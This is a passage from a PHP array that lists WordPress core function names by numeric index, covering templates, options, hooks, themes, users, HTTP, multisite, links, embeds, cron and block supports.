2289 => 'get_the_ID', - 2290 => 'the_title', - 2291 => 'the_title_attribute', - 2292 => 'get_the_title', - 2293 => 'the_guid', - 2294 => 'get_the_guid', - 2295 => 'the_content', - 2296 => 'get_the_content', - 2297 => 'the_excerpt', - 2298 => 'get_the_excerpt', - 2299 => 'has_excerpt', - 2300 => 'post_class', - 2301 => 'get_post_class', - 2302 => 'body_class', - 2303 => 'get_body_class', - 2304 => 'post_password_required', - 2305 => 'wp_link_pages', - 2306 => '_wp_link_page', - 2307 => 'post_custom', - 2308 => 'the_meta', - 2309 => 'wp_dropdown_pages', - 2310 => 'wp_list_pages', - 2311 => 'wp_page_menu', - 2312 => 'walk_page_tree', - 2313 => 'walk_page_dropdown_tree', - 2314 => 'the_attachment_link', - 2315 => 'wp_get_attachment_link', - 2316 => 'prepend_attachment', - 2317 => 'get_the_password_form', - 2318 => 'is_page_template', - 2319 => 'get_page_template_slug', - 2320 => 'wp_post_revision_title', - 2321 => 'wp_post_revision_title_expanded', - 2322 => 'wp_list_post_revisions', - 2323 => 'get_post_parent', - 2324 => 'has_post_parent', - 2325 => 'wp_register_core_ability_categories', - 2326 => 'wp_register_core_abilities', - 2327 => 'add_rewrite_rule', - 2328 => 'add_rewrite_tag', - 2329 => 'remove_rewrite_tag', - 2330 => 'add_permastruct', - 2331 => 'remove_permastruct', - 2332 => 'add_feed', - 2333 => 'flush_rewrite_rules', - 2334 => 'add_rewrite_endpoint', - 2335 => '_wp_filter_taxonomy_base', - 2336 => 'wp_resolve_numeric_slug_conflicts', - 2337 => 'url_to_postid', - 2339 => 'wp_prime_option_caches', - 2340 => 'wp_prime_option_caches_by_group', - 2341 => 'get_options', - 2342 => 'wp_set_option_autoload_values', - 2343 => 'wp_set_options_autoload', - 2344 => 'wp_set_option_autoload', - 2345 => 'wp_protect_special_option', - 2346 => 'form_option', - 2347 => 'wp_load_alloptions', - 2348 => 'wp_prime_site_option_caches', - 2349 => 'wp_prime_network_option_caches', - 2350 => 'wp_load_core_site_options', - 2351 => 'update_option', - 2352 => 'add_option', - 2353 => 'delete_option', - 2354 => 'wp_determine_option_autoload_value', - 2355 => 'wp_filter_default_autoload_value_via_option_size', - 2356 => 'delete_transient', - 2357 => 'get_transient', - 2358 => 'set_transient', - 2359 => 'delete_expired_transients', - 2360 => 'wp_user_settings', - 2361 => 'get_user_setting', - 2362 => 'set_user_setting', - 2363 => 'delete_user_setting', - 2364 => 'get_all_user_settings', - 2365 => 'wp_set_all_user_settings', - 2366 => 'delete_all_user_settings', - 2367 => 'get_site_option', - 2368 => 'add_site_option', - 2369 => 'delete_site_option', - 2370 => 'update_site_option', - 2371 => 'get_network_option', - 2372 => 'add_network_option', - 2373 => 'delete_network_option', - 2374 => 'update_network_option', - 2375 => 'delete_site_transient', - 2376 => 'get_site_transient', - 2377 => 'set_site_transient', - 2378 => 'register_initial_settings', - 2379 => 'register_setting', - 2380 => 'unregister_setting', - 2381 => 'get_registered_settings', - 2382 => 'filter_default_option', - 2383 => 'wp_autoload_values_to_autoload', - 2386 => 'apply_filters_ref_array', - 2388 => 'remove_filter', - 2389 => 'remove_all_filters', - 2390 => 'current_filter', - 2391 => 'doing_filter', - 2392 => 'did_filter', - 2394 => 'do_action', - 2396 => 'has_action', - 2397 => 'remove_action', - 2398 => 'remove_all_actions', - 2399 => 'current_action', - 2400 => 'doing_action', - 2402 => 'apply_filters_deprecated', - 2403 => 'do_action_deprecated', - 2404 => 'plugin_basename', - 2405 => 'wp_register_plugin_realpath', - 2406 => 'plugin_dir_path', - 2407 => 'plugin_dir_url', - 2408 => 'register_activation_hook', - 2409 => 'register_deactivation_hook', - 2410 => 'register_uninstall_hook', - 2411 => '_wp_call_all_hook', - 2412 => '_wp_filter_build_unique_id', - 2413 => 'get_block_wrapper_attributes', - 2414 => 'get_category_link', - 2415 => 'get_category_parents', - 2416 => 'get_the_category', - 2417 => 'get_the_category_by_ID', - 2418 => 'get_the_category_list', - 2419 => 'in_category', - 2420 => 'the_category', - 2421 => 'category_description', - 2422 => 'wp_dropdown_categories', - 2423 => 'wp_list_categories', - 2424 => 'wp_tag_cloud', - 2425 => 'default_topic_count_scale', - 2426 => 'wp_generate_tag_cloud', - 2427 => '_wp_object_name_sort_cb', - 2428 => '_wp_object_count_sort_cb', - 2429 => 'walk_category_tree', - 2430 => 'walk_category_dropdown_tree', - 2431 => 'get_tag_link', - 2432 => 'get_the_tags', - 2433 => 'get_the_tag_list', - 2434 => 'the_tags', - 2435 => 'tag_description', - 2436 => 'term_description', - 2437 => 'get_the_terms', - 2438 => 'get_the_term_list', - 2439 => 'get_term_parents_list', - 2440 => 'the_terms', - 2441 => 'has_category', - 2442 => 'has_tag', - 2443 => 'has_term', - 2444 => 'has_post_thumbnail', - 2445 => 'get_post_thumbnail_id', - 2446 => 'the_post_thumbnail', - 2447 => 'update_post_thumbnail_cache', - 2448 => 'get_the_post_thumbnail', - 2449 => 'get_the_post_thumbnail_url', - 2450 => 'the_post_thumbnail_url', - 2451 => 'get_the_post_thumbnail_caption', - 2452 => 'the_post_thumbnail_caption', - 2453 => 'wp_get_themes', - 2454 => 'wp_get_theme', - 2455 => 'wp_clean_themes_cache', - 2456 => 'is_child_theme', - 2457 => 'get_stylesheet', - 2458 => 'get_stylesheet_directory', - 2459 => 'get_stylesheet_directory_uri', - 2460 => 'get_stylesheet_uri', - 2461 => 'get_locale_stylesheet_uri', - 2462 => 'get_template', - 2463 => 'get_template_directory', - 2464 => 'get_template_directory_uri', - 2465 => 'get_theme_roots', - 2466 => 'register_theme_directory', - 2467 => 'search_theme_directories', - 2468 => 'get_theme_root', - 2469 => 'get_theme_root_uri', - 2470 => 'get_raw_theme_root', - 2471 => 'locale_stylesheet', - 2472 => 'switch_theme', - 2473 => 'validate_current_theme', - 2474 => 'validate_theme_requirements', - 2475 => 'get_theme_mods', - 2476 => 'get_theme_mod', - 2477 => 'set_theme_mod', - 2478 => 'remove_theme_mod', - 2479 => 'remove_theme_mods', - 2480 => 'get_header_textcolor', - 2481 => 'header_textcolor', - 2482 => 'display_header_text', - 2483 => 'has_header_image', - 2484 => 'get_header_image', - 2485 => 'get_header_image_tag', - 2486 => 'the_header_image_tag', - 2487 => '_get_random_header_data', - 2488 => 'get_random_header_image', - 2489 => 'is_random_header_image', - 2490 => 'header_image', - 2491 => 'get_uploaded_header_images', - 2492 => 'get_custom_header', - 2493 => 'register_default_headers', - 2494 => 'unregister_default_headers', - 2495 => 'has_header_video', - 2496 => 'get_header_video_url', - 2497 => 'the_header_video_url', - 2498 => 'get_header_video_settings', - 2499 => 'has_custom_header', - 2500 => 'is_header_video_active', - 2501 => 'get_custom_header_markup', - 2502 => 'the_custom_header_markup', - 2503 => 'get_background_image', - 2504 => 'background_image', - 2505 => 'get_background_color', - 2506 => 'background_color', - 2507 => '_custom_background_cb', - 2508 => 'wp_custom_css_cb', - 2509 => 'wp_get_custom_css_post', - 2510 => 'wp_get_custom_css', - 2511 => 'wp_update_custom_css_post', - 2512 => 'add_editor_style', - 2513 => 'remove_editor_styles', - 2514 => 'get_editor_stylesheets', - 2515 => 'get_theme_starter_content', - 2516 => 'add_theme_support', - 2517 => '_custom_header_background_just_in_time', - 2518 => '_custom_logo_header_styles', - 2519 => 'get_theme_support', - 2520 => 'remove_theme_support', - 2521 => '_remove_theme_support', - 2522 => 'current_theme_supports', - 2523 => 'require_if_theme_supports', - 2524 => 'register_theme_feature', - 2525 => 'get_registered_theme_features', - 2526 => 'get_registered_theme_feature', - 2527 => '_delete_attachment_theme_mod', - 2528 => 'check_theme_switched', - 2529 => '_wp_customize_include', - 2530 => '_wp_customize_publish_changeset', - 2531 => '_wp_customize_changeset_filter_insert_post_data', - 2532 => '_wp_customize_loader_settings', - 2533 => 'wp_customize_url', - 2534 => 'wp_customize_support_script', - 2535 => 'is_customize_preview', - 2536 => '_wp_keep_alive_customize_changeset_dependent_auto_drafts', - 2537 => 'create_initial_theme_features', - 2538 => 'wp_is_block_theme', - 2539 => 'wp_theme_get_element_class_name', - 2540 => '_add_default_theme_supports', - 2541 => 'wp_signon', - 2542 => 'wp_authenticate_username_password', - 2543 => 'wp_authenticate_email_password', - 2544 => 'wp_authenticate_cookie', - 2545 => 'wp_authenticate_application_password', - 2546 => 'wp_validate_application_password', - 2547 => 'wp_authenticate_spam_check', - 2548 => 'wp_validate_logged_in_cookie', - 2549 => 'count_user_posts', - 2550 => 'count_many_users_posts', - 2551 => 'get_current_user_id', - 2552 => 'get_user_option', - 2553 => 'update_user_option', - 2554 => 'delete_user_option', - 2555 => 'get_user', - 2556 => 'get_users', - 2557 => 'wp_list_users', - 2558 => 'get_blogs_of_user', - 2559 => 'is_user_member_of_blog', - 2560 => 'add_user_meta', - 2561 => 'delete_user_meta', - 2562 => 'get_user_meta', - 2563 => 'update_user_meta', - 2564 => 'count_users', - 2565 => 'get_user_count', - 2566 => 'wp_maybe_update_user_counts', - 2567 => 'wp_update_user_counts', - 2568 => 'wp_schedule_update_user_counts', - 2569 => 'wp_is_large_user_count', - 2570 => 'setup_userdata', - 2571 => 'wp_dropdown_users', - 2572 => 'sanitize_user_field', - 2573 => 'update_user_caches', - 2574 => 'clean_user_cache', - 2575 => 'username_exists', - 2576 => 'email_exists', - 2577 => 'validate_username', - 2578 => 'wp_insert_user', - 2579 => 'wp_update_user', - 2580 => 'wp_create_user', - 2581 => '_get_additional_user_keys', - 2582 => 'wp_get_user_contact_methods', - 2583 => '_wp_get_user_contactmethods', - 2584 => 'wp_get_password_hint', - 2585 => 'get_password_reset_key', - 2586 => 'check_password_reset_key', - 2587 => 'retrieve_password', - 2588 => 'reset_password', - 2589 => 'register_new_user', - 2590 => 'wp_send_new_user_notifications', - 2591 => 'wp_get_session_token', - 2592 => 'wp_get_all_sessions', - 2593 => 'wp_destroy_current_session', - 2594 => 'wp_destroy_other_sessions', - 2595 => 'wp_destroy_all_sessions', - 2596 => 'wp_get_users_with_no_role', - 2597 => '_wp_get_current_user', - 2598 => 'send_confirmation_on_profile_email', - 2599 => 'new_user_email_admin_notice', - 2600 => '_wp_privacy_action_request_types', - 2601 => 'wp_register_user_personal_data_exporter', - 2602 => 'wp_user_personal_data_exporter', - 2603 => '_wp_privacy_account_request_confirmed', - 2604 => '_wp_privacy_send_request_confirmation_notification', - 2605 => '_wp_privacy_send_erasure_fulfillment_notification', - 2606 => '_wp_privacy_account_request_confirmed_message', - 2607 => 'wp_create_user_request', - 2608 => 'wp_user_request_action_description', - 2609 => 'wp_send_user_request', - 2610 => 'wp_generate_user_request_key', - 2611 => 'wp_validate_user_request_key', - 2612 => 'wp_get_user_request', - 2613 => 'wp_is_application_passwords_supported', - 2614 => 'wp_is_application_passwords_available', - 2615 => 'wp_is_application_passwords_available_for_user', - 2616 => 'wp_register_persisted_preferences_meta', - 2617 => 'wp_cache_set_users_last_changed', - 2618 => 'wp_is_password_reset_allowed_for_user', - 2619 => '_wp_http_get_object', - 2620 => 'wp_safe_remote_request', - 2621 => 'wp_safe_remote_get', - 2622 => 'wp_safe_remote_post', - 2623 => 'wp_safe_remote_head', - 2624 => 'wp_remote_request', - 2625 => 'wp_remote_get', - 2626 => 'wp_remote_post', - 2627 => 'wp_remote_head', - 2628 => 'wp_remote_retrieve_headers', - 2629 => 'wp_remote_retrieve_header', - 2630 => 'wp_remote_retrieve_response_code', - 2631 => 'wp_remote_retrieve_response_message', - 2632 => 'wp_remote_retrieve_body', - 2633 => 'wp_remote_retrieve_cookies', - 2634 => 'wp_remote_retrieve_cookie', - 2635 => 'wp_remote_retrieve_cookie_value', - 2636 => 'wp_http_supports', - 2637 => 'get_http_origin', - 2638 => 'get_allowed_http_origins', - 2639 => 'is_allowed_http_origin', - 2640 => 'send_origin_headers', - 2641 => 'wp_http_validate_url', - 2642 => 'allowed_http_request_hosts', - 2643 => 'ms_allowed_http_request_hosts', - 2644 => 'wp_parse_url', - 2645 => '_get_component_from_parsed_url_array', - 2646 => '_wp_translate_php_url_constant_to_key', - 2647 => 'add_metadata', - 2648 => 'update_metadata', - 2649 => 'delete_metadata', - 2650 => 'get_metadata', - 2651 => 'get_metadata_raw', - 2652 => 'get_metadata_default', - 2653 => 'metadata_exists', - 2654 => 'get_metadata_by_mid', - 2655 => 'update_metadata_by_mid', - 2656 => 'delete_metadata_by_mid', - 2657 => 'update_meta_cache', - 2658 => 'wp_metadata_lazyloader', - 2659 => 'get_meta_sql', - 2660 => '_get_meta_table', - 2661 => 'is_protected_meta', - 2662 => 'sanitize_meta', - 2663 => 'register_meta', - 2664 => 'filter_default_metadata', - 2665 => 'registered_meta_key_exists', - 2666 => 'unregister_meta_key', - 2667 => 'get_registered_meta_keys', - 2668 => 'get_registered_metadata', - 2669 => '_wp_register_meta_args_allowed_list', - 2670 => 'get_object_subtype', - 2671 => 'wp_paused_plugins', - 2672 => 'wp_paused_themes', - 2673 => 'wp_get_extension_error_description', - 2674 => 'wp_register_fatal_error_handler', - 2675 => 'wp_is_fatal_error_handler_enabled', - 2676 => 'wp_recovery_mode', - 2677 => 'wp_insert_site', - 2678 => 'wp_update_site', - 2679 => 'wp_delete_site', - 2680 => 'get_site', - 2681 => '_prime_site_caches', - 2682 => 'wp_lazyload_site_meta', - 2683 => 'update_site_cache', - 2684 => 'update_sitemeta_cache', - 2685 => 'get_sites', - 2686 => 'wp_prepare_site_data', - 2687 => 'wp_normalize_site_data', - 2688 => 'wp_validate_site_data', - 2689 => 'wp_initialize_site', - 2690 => 'wp_uninitialize_site', - 2691 => 'wp_is_site_initialized', - 2692 => 'clean_blog_cache', - 2693 => 'add_site_meta', - 2694 => 'delete_site_meta', - 2695 => 'get_site_meta', - 2696 => 'update_site_meta', - 2697 => 'delete_site_meta_by_key', - 2698 => 'wp_maybe_update_network_site_counts_on_update', - 2699 => 'wp_maybe_transition_site_statuses_on_update', - 2700 => 'wp_maybe_clean_new_site_cache_on_update', - 2701 => 'wp_update_blog_public_option_on_site_update', - 2702 => 'wp_cache_set_sites_last_changed', - 2703 => 'wp_check_site_meta_support_prefilter', - 2704 => 'wpmu_update_blogs_date', - 2705 => 'get_blogaddress_by_id', - 2706 => 'get_blogaddress_by_name', - 2707 => 'get_id_from_blogname', - 2708 => 'get_blog_details', - 2709 => 'refresh_blog_details', - 2710 => 'update_blog_details', - 2711 => 'clean_site_details_cache', - 2712 => 'get_blog_option', - 2713 => 'add_blog_option', - 2714 => 'delete_blog_option', - 2715 => 'update_blog_option', - 2716 => 'switch_to_blog', - 2717 => 'restore_current_blog', - 2718 => 'wp_cache_switch_to_blog_fallback', - 2719 => 'wp_switch_roles_and_user', - 2720 => 'ms_is_switched', - 2721 => 'is_archived', - 2722 => 'update_archived', - 2723 => 'update_blog_status', - 2724 => 'get_blog_status', - 2725 => 'get_last_updated', - 2726 => '_update_blog_date_on_post_publish', - 2727 => '_update_blog_date_on_post_delete', - 2728 => '_update_posts_count_on_delete', - 2729 => '_update_posts_count_on_transition_post_status', - 2730 => 'wp_count_sites', - 2731 => 'register_block_bindings_source', - 2732 => 'unregister_block_bindings_source', - 2733 => 'get_all_registered_block_bindings_sources', - 2734 => 'get_block_bindings_source', - 2735 => 'get_block_bindings_supported_attributes', - 2736 => 'wp_is_connector_registered', - 2737 => 'wp_get_connector', - 2738 => 'wp_get_connectors', - 2739 => '_wp_connectors_resolve_ai_provider_logo_url', - 2740 => '_wp_connectors_init', - 2741 => '_wp_connectors_register_default_ai_providers', - 2742 => '_wp_connectors_mask_api_key', - 2743 => '_wp_connectors_get_api_key_source', - 2744 => '_wp_connectors_is_ai_api_key_valid', - 2745 => '_wp_connectors_rest_settings_dispatch', - 2746 => '_wp_register_default_connector_settings', - 2747 => '_wp_connectors_pass_default_keys_to_ai_client', - 2748 => '_wp_connectors_get_connector_script_module_data', - 2749 => 'get_post_format', - 2750 => 'has_post_format', - 2751 => 'set_post_format', - 2752 => 'get_post_format_strings', - 2753 => 'get_post_format_slugs', - 2754 => 'get_post_format_string', - 2755 => 'get_post_format_link', - 2756 => '_post_format_request', - 2757 => '_post_format_link', - 2758 => '_post_format_get_term', - 2759 => '_post_format_get_terms', - 2760 => '_post_format_wp_get_object_terms', - 2761 => 'wp_register_border_support', - 2762 => 'wp_apply_border_support', - 2763 => 'wp_has_border_feature_support', - 2764 => 'wp_register_colors_support', - 2765 => 'wp_apply_colors_support', - 2766 => '_wp_get_presets_class_name', - 2767 => '_wp_add_block_level_presets_class', - 2768 => '_wp_add_block_level_preset_styles', - 2769 => 'wp_register_position_support', - 2770 => 'wp_render_position_support', - 2771 => 'wp_register_dimensions_support', - 2772 => 'wp_apply_dimensions_support', - 2773 => 'wp_render_dimensions_support', - 2774 => 'wp_register_typography_support', - 2775 => 'wp_apply_typography_support', - 2776 => 'wp_typography_get_preset_inline_style_value', - 2777 => 'wp_render_typography_support', - 2778 => 'wp_get_typography_value_and_unit', - 2779 => 'wp_get_computed_fluid_typography_value', - 2780 => 'wp_get_typography_font_size_value', - 2781 => 'wp_register_alignment_support', - 2782 => 'wp_apply_alignment_support', - 2783 => 'wp_register_spacing_support', - 2784 => 'wp_apply_spacing_support', - 2785 => 'wp_register_custom_classname_support', - 2786 => 'wp_apply_custom_classname_support', - 2787 => 'wp_register_background_support', - 2788 => 'wp_render_background_support', - 2789 => 'wp_mark_auto_generate_control_attributes', - 2790 => 'wp_get_block_style_variation_name_from_registered_style', - 2791 => 'wp_get_layout_definitions', - 2792 => 'wp_register_layout_support', - 2793 => 'wp_get_layout_style', - 2794 => 'wp_render_layout_support_flag', - 2795 => 'wp_add_parent_layout_to_parsed_block', - 2796 => 'wp_restore_group_inner_container', - 2797 => 'wp_restore_image_outer_container', - 2798 => 'wp_get_block_default_classname', - 2799 => 'wp_apply_generated_classname_support', - 2800 => 'wp_get_block_style_variation_name_from_class', - 2801 => 'wp_resolve_block_style_variation_ref_values', - 2802 => 'wp_render_block_style_variation_support_styles', - 2803 => 'wp_render_block_style_variation_class_name', - 2804 => 'wp_enqueue_block_style_variation_styles', - 2805 => 'wp_register_block_style_variations_from_theme_json_partials', - 2806 => 'wp_render_block_visibility_support', - 2807 => 'wp_register_aria_label_support', - 2808 => 'wp_apply_aria_label_support', - 2809 => 'wp_render_custom_css_support_styles', - 2810 => 'wp_enqueue_block_custom_css', - 2811 => 'wp_render_custom_css_class_name', - 2812 => 'wp_register_custom_css_support', - 2813 => 'wp_strip_custom_css_from_blocks', - 2814 => 'wp_custom_css_kses_init_filters', - 2815 => 'wp_custom_css_remove_filters', - 2816 => 'wp_custom_css_kses_init', - 2817 => 'wp_custom_css_force_filtered_html_on_import_filter', - 2818 => 'wp_should_skip_block_supports_serialization', - 2819 => 'wp_register_anchor_support', - 2820 => 'wp_apply_anchor_support', - 2821 => 'wp_register_shadow_support', - 2822 => 'wp_apply_shadow_support', - 2823 => 'wp_get_elements_class_name', - 2824 => 'wp_should_add_elements_class_name', - 2825 => 'wp_render_elements_support_styles', - 2826 => 'wp_render_elements_class_name', - 2827 => 'get_dashboard_blog', - 2828 => 'generate_random_password', - 2829 => 'is_site_admin', - 2830 => 'graceful_fail', - 2831 => 'get_user_details', - 2832 => 'clear_global_post_cache', - 2833 => 'is_main_blog', - 2834 => 'validate_email', - 2835 => 'get_blog_list', - 2836 => 'get_most_active_blogs', - 2837 => 'wpmu_admin_do_redirect', - 2838 => 'wpmu_admin_redirect_add_updated_param', - 2839 => 'get_user_id_from_string', - 2840 => 'get_blogaddress_by_domain', - 2841 => 'create_empty_blog', - 2842 => 'get_admin_users_for_domain', - 2843 => 'wp_get_sites', - 2844 => 'is_user_option_local', - 2845 => 'insert_blog', - 2846 => 'install_blog', - 2847 => 'install_blog_defaults', - 2848 => 'update_user_status', - 2849 => 'global_terms', - 2850 => 'wp_scripts', - 2851 => '_wp_scripts_maybe_doing_it_wrong', - 2852 => '_wp_scripts_add_args_data', - 2853 => 'wp_print_scripts', - 2854 => 'wp_add_inline_script', - 2855 => 'wp_register_script', - 2856 => 'wp_localize_script', - 2857 => 'wp_set_script_translations', - 2858 => 'wp_deregister_script', - 2859 => 'wp_enqueue_script', - 2860 => 'wp_dequeue_script', - 2861 => 'wp_script_is', - 2862 => 'wp_script_add_data', - 2863 => 'get_network', - 2864 => 'get_networks', - 2865 => 'clean_network_cache', - 2866 => 'update_network_cache', - 2867 => '_prime_network_caches', - 2868 => 'map_meta_cap', - 2869 => 'current_user_can', - 2870 => 'current_user_can_for_site', - 2871 => 'author_can', - 2872 => 'user_can', - 2873 => 'user_can_for_site', - 2874 => 'wp_roles', - 2875 => 'get_role', - 2876 => 'add_role', - 2877 => 'remove_role', - 2878 => 'get_super_admins', - 2879 => 'is_super_admin', - 2880 => 'grant_super_admin', - 2881 => 'revoke_super_admin', - 2882 => 'wp_maybe_grant_install_languages_cap', - 2883 => 'wp_maybe_grant_resume_extensions_caps', - 2884 => 'wp_maybe_grant_site_health_caps', - 2885 => 'the_permalink', - 2886 => 'user_trailingslashit', - 2887 => 'permalink_anchor', - 2888 => 'wp_force_plain_post_permalink', - 2889 => 'get_the_permalink', - 2890 => 'get_permalink', - 2891 => 'get_post_permalink', - 2892 => 'get_page_link', - 2893 => '_get_page_link', - 2894 => 'get_attachment_link', - 2895 => 'get_year_link', - 2896 => 'get_month_link', - 2897 => 'get_day_link', - 2898 => 'the_feed_link', - 2899 => 'get_feed_link', - 2900 => 'get_post_comments_feed_link', - 2901 => 'post_comments_feed_link', - 2902 => 'get_author_feed_link', - 2903 => 'get_category_feed_link', - 2904 => 'get_term_feed_link', - 2905 => 'get_tag_feed_link', - 2906 => 'get_edit_tag_link', - 2907 => 'edit_tag_link', - 2908 => 'get_edit_term_link', - 2909 => 'edit_term_link', - 2910 => 'get_search_link', - 2911 => 'get_search_feed_link', - 2912 => 'get_search_comments_feed_link', - 2913 => 'get_post_type_archive_link', - 2914 => 'get_post_type_archive_feed_link', - 2915 => 'get_preview_post_link', - 2916 => 'get_edit_post_link', - 2917 => 'edit_post_link', - 2918 => 'get_delete_post_link', - 2919 => 'get_edit_comment_link', - 2920 => 'edit_comment_link', - 2921 => 'get_edit_bookmark_link', - 2922 => 'edit_bookmark_link', - 2923 => 'get_edit_user_link', - 2924 => 'get_previous_post', - 2925 => 'get_next_post', - 2926 => 'get_adjacent_post', - 2927 => 'get_adjacent_post_rel_link', - 2928 => 'adjacent_posts_rel_link', - 2929 => 'adjacent_posts_rel_link_wp_head', - 2930 => 'next_post_rel_link', - 2931 => 'prev_post_rel_link', - 2932 => 'get_boundary_post', - 2933 => 'get_previous_post_link', - 2934 => 'previous_post_link', - 2935 => 'get_next_post_link', - 2936 => 'next_post_link', - 2937 => 'get_adjacent_post_link', - 2938 => 'adjacent_post_link', - 2939 => 'get_pagenum_link', - 2940 => 'get_next_posts_page_link', - 2941 => 'next_posts', - 2942 => 'get_next_posts_link', - 2943 => 'next_posts_link', - 2944 => 'get_previous_posts_page_link', - 2945 => 'previous_posts', - 2946 => 'get_previous_posts_link', - 2947 => 'previous_posts_link', - 2948 => 'get_posts_nav_link', - 2949 => 'posts_nav_link', - 2950 => 'get_the_post_navigation', - 2951 => 'the_post_navigation', - 2952 => 'get_the_posts_navigation', - 2953 => 'the_posts_navigation', - 2954 => 'get_the_posts_pagination', - 2955 => 'the_posts_pagination', - 2956 => '_navigation_markup', - 2957 => 'get_comments_pagenum_link', - 2958 => 'get_next_comments_link', - 2959 => 'next_comments_link', - 2960 => 'get_previous_comments_link', - 2961 => 'previous_comments_link', - 2962 => 'paginate_comments_links', - 2963 => 'get_the_comments_navigation', - 2964 => 'the_comments_navigation', - 2965 => 'get_the_comments_pagination', - 2966 => 'the_comments_pagination', - 2968 => 'get_home_url', - 2970 => 'get_site_url', - 2972 => 'get_admin_url', - 2974 => 'content_url', - 2975 => 'plugins_url', - 2976 => 'network_site_url', - 2977 => 'network_home_url', - 2978 => 'network_admin_url', - 2979 => 'user_admin_url', - 2980 => 'self_admin_url', - 2981 => 'set_url_scheme', - 2982 => 'get_dashboard_url', - 2983 => 'get_edit_profile_url', - 2984 => 'wp_get_canonical_url', - 2985 => 'rel_canonical', - 2986 => 'wp_get_shortlink', - 2987 => 'wp_shortlink_wp_head', - 2988 => 'wp_shortlink_header', - 2989 => 'the_shortlink', - 2990 => 'get_avatar_url', - 2991 => 'is_avatar_comment_type', - 2992 => 'get_avatar_data', - 2993 => 'get_theme_file_uri', - 2994 => 'get_parent_theme_file_uri', - 2995 => 'get_theme_file_path', - 2996 => 'get_parent_theme_file_path', - 2997 => 'get_privacy_policy_url', - 2998 => 'the_privacy_policy_link', - 2999 => 'get_the_privacy_policy_link', - 3000 => 'wp_internal_hosts', - 3001 => 'wp_is_internal_link', - 3002 => 'wp_is_using_https', - 3003 => 'wp_is_home_url_using_https', - 3004 => 'wp_is_site_url_using_https', - 3005 => 'wp_is_https_supported', - 3006 => 'wp_get_https_detection_errors', - 3007 => 'wp_is_local_html_output', - 3008 => 'wp_get_speculation_rules_configuration', - 3009 => 'wp_get_speculation_rules', - 3010 => 'wp_print_speculation_rules', - 3011 => 'is_subdomain_install', - 3012 => 'wp_get_active_network_plugins', - 3013 => 'ms_site_check', - 3014 => 'get_network_by_path', - 3015 => 'get_site_by_path', - 3016 => 'ms_load_current_site_and_network', - 3017 => 'ms_not_installed', - 3018 => 'get_current_site_name', - 3019 => 'wpmu_current_site', - 3020 => 'wp_get_network', - 3021 => 'wp_script_modules', - 3022 => 'wp_register_script_module', - 3023 => 'wp_enqueue_script_module', - 3024 => 'wp_dequeue_script_module', - 3025 => 'wp_deregister_script_module', - 3026 => 'wp_set_script_module_translations', - 3027 => 'wp_default_script_modules', - 3028 => 'wp_enqueue_block_editor_script_modules', - 3029 => 'wp_is_mobile', - 3030 => 'wp_embed_register_handler', - 3031 => 'wp_embed_unregister_handler', - 3032 => 'wp_embed_defaults', - 3033 => 'wp_oembed_get', - 3034 => '_wp_oembed_get_object', - 3035 => 'wp_oembed_add_provider', - 3036 => 'wp_oembed_remove_provider', - 3037 => 'wp_maybe_load_embeds', - 3038 => 'wp_embed_handler_youtube', - 3039 => 'wp_embed_handler_audio', - 3040 => 'wp_embed_handler_video', - 3041 => 'wp_oembed_register_route', - 3042 => 'wp_oembed_add_discovery_links', - 3043 => 'wp_oembed_add_host_js', - 3044 => 'wp_maybe_enqueue_oembed_host_js', - 3045 => 'get_post_embed_url', - 3046 => 'get_oembed_endpoint_url', - 3047 => 'get_post_embed_html', - 3048 => 'get_oembed_response_data', - 3049 => 'get_oembed_response_data_for_url', - 3050 => 'get_oembed_response_data_rich', - 3051 => 'wp_oembed_ensure_format', - 3052 => '_oembed_rest_pre_serve_request', - 3053 => '_oembed_create_xml', - 3054 => 'wp_filter_oembed_iframe_title_attribute', - 3055 => 'wp_filter_oembed_result', - 3056 => 'wp_embed_excerpt_more', - 3057 => 'the_excerpt_embed', - 3058 => 'wp_embed_excerpt_attachment', - 3059 => 'enqueue_embed_scripts', - 3060 => 'wp_enqueue_embed_styles', - 3061 => 'print_embed_scripts', - 3062 => '_oembed_filter_feed_content', - 3063 => 'print_embed_comments_button', - 3064 => 'print_embed_sharing_button', - 3065 => 'print_embed_sharing_dialog', - 3066 => 'the_embed_site_title', - 3067 => 'wp_filter_pre_oembed_result', - 3068 => 'wp_schedule_single_event', - 3069 => 'wp_schedule_event', - 3070 => 'wp_reschedule_event', - 3071 => 'wp_unschedule_event', - 3072 => 'wp_clear_scheduled_hook', - 3073 => 'wp_unschedule_hook', - 3074 => 'wp_get_scheduled_event', - 3075 => 'wp_next_scheduled', - 3076 => 'spawn_cron', - 3077 => 'wp_cron', - 3078 => '_wp_cron', - 3079 => 'wp_get_schedules', - 3080 => 'wp_get_schedule', - 3081 => 'wp_get_ready_cron_jobs', - 3082 => '_get_cron_array', - 3083 => '_set_cron_array', - 3084 => '_upgrade_cron_array', - 3085 => 'wp_print_font_faces', - 3086 => 'wp_print_font_faces_from_style_variations', - 3087 => 'wp_register_font_collection', - 3088 => 'wp_unregister_font_collection', - 3089 => 'wp_get_font_dir', - 3090 => 'wp_font_dir', - 3091 => '_wp_filter_font_directory', - 3092 => '_wp_after_delete_font_family', - 3093 => '_wp_before_delete_font_face', - 3094 => '_wp_register_default_font_collections', - 3095 => 'get_bookmark', - 3096 => 'get_bookmark_field', - 3097 => 'get_bookmarks', - 3098 => 'sanitize_bookmark', - 3099 => 'sanitize_bookmark_field', - 3100 => 'clean_bookmark_cache', - 3101 => 'ms_upload_constants', - 3102 => 'ms_cookie_constants', - 3103 => 'ms_file_constants', - 3104 => 'ms_subdomain_constants', - 3105 => '_add_template_loader_filters', - 3106 => 'wp_render_empty_block_template_warning', - 3107 => 'locate_block_template', - 3108 => 'resolve_block_template', - 3109 => '_block_template_render_title_tag', - 3110 => 'get_the_block_template_html', - 3111 => '_block_template_add_skip_link', - 3112 => '_block_template_viewport_meta_tag', - 3113 => '_strip_template_file_suffix', - 3114 => '_block_template_render_without_post_block_context', - 3115 => '_resolve_template_for_new_post', - 3116 => 'register_block_template', - 3117 => 'unregister_block_template', - 3118 => '_block_bindings_post_data_get_value', - 3119 => '_register_block_bindings_post_data_source', - 3120 => '_block_bindings_post_meta_get_value', - 3121 => '_register_block_bindings_post_meta_source', - 3122 => '_block_bindings_term_data_get_value', - 3123 => '_register_block_bindings_term_data_source', - 3124 => '_block_bindings_pattern_overrides_get_value', - 3125 => '_register_block_bindings_pattern_overrides_source', - 3126 => 'wp_robots', - 3127 => 'wp_robots_noindex', - 3128 => 'wp_robots_noindex_embeds', - 3129 => 'wp_robots_noindex_search', - 3130 => 'wp_robots_no_robots', - 3131 => 'wp_robots_sensitive_page', - 3132 => 'wp_robots_max_image_preview_large', - 